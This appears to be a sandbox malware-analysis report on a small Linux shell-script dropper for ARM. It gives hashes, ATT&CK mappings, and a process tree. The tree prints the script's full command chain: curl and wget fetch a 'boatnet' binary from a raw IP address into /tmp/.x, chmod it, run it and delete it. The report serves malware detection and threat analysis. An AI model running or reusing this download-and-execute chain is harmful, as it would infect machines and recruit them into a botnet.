7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 00:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
Size 616B
Sample260804-a1f6hsab89
SHA256 7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915
MD5 d72d46ae6747afaf0a4ca4653b9400da
SHA1 e06cb393b572cd4db19f18e5d6d8f78c5bfcb7be
SHA512 7c1b4e1aef892c2b1fd7eb01c219de9282e3b4661e223bed5f31637109c649ab2b9aa03bd53b5fdc77320e76ad33474e73c211e5a01fb17dfde9eec5b1953848
TLSH
T1A7F0789579009AB3741D4D2A369595E060425C6F28883E80A0FEBE384A08B0D71B4B97
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.x	684	7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.x	wget

/tmp/7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
/tmp/7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
1⤵
- Executes dropped EXE
PID:651
- /usr/bin/curl
  curl -s -A Mozilla/5.0 http://94.154.43.231:3001:80/detect
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:652
- /usr/bin/curl
  curl -s http://94.154.43.231:3001:80/bins/boatnet.default -o .x
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:679
- /usr/bin/wget
  wget -q -O .x http://94.154.43.231:3001:80/bins/boatnet.default
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 .x
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/.x
  ./.x boatnet
  2⤵
  PID:684
- /bin/sh
  /bin/sh ./.x boatnet
  2⤵
  PID:684
- /bin/rm
  rm -f .x
  2⤵
  PID:686

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads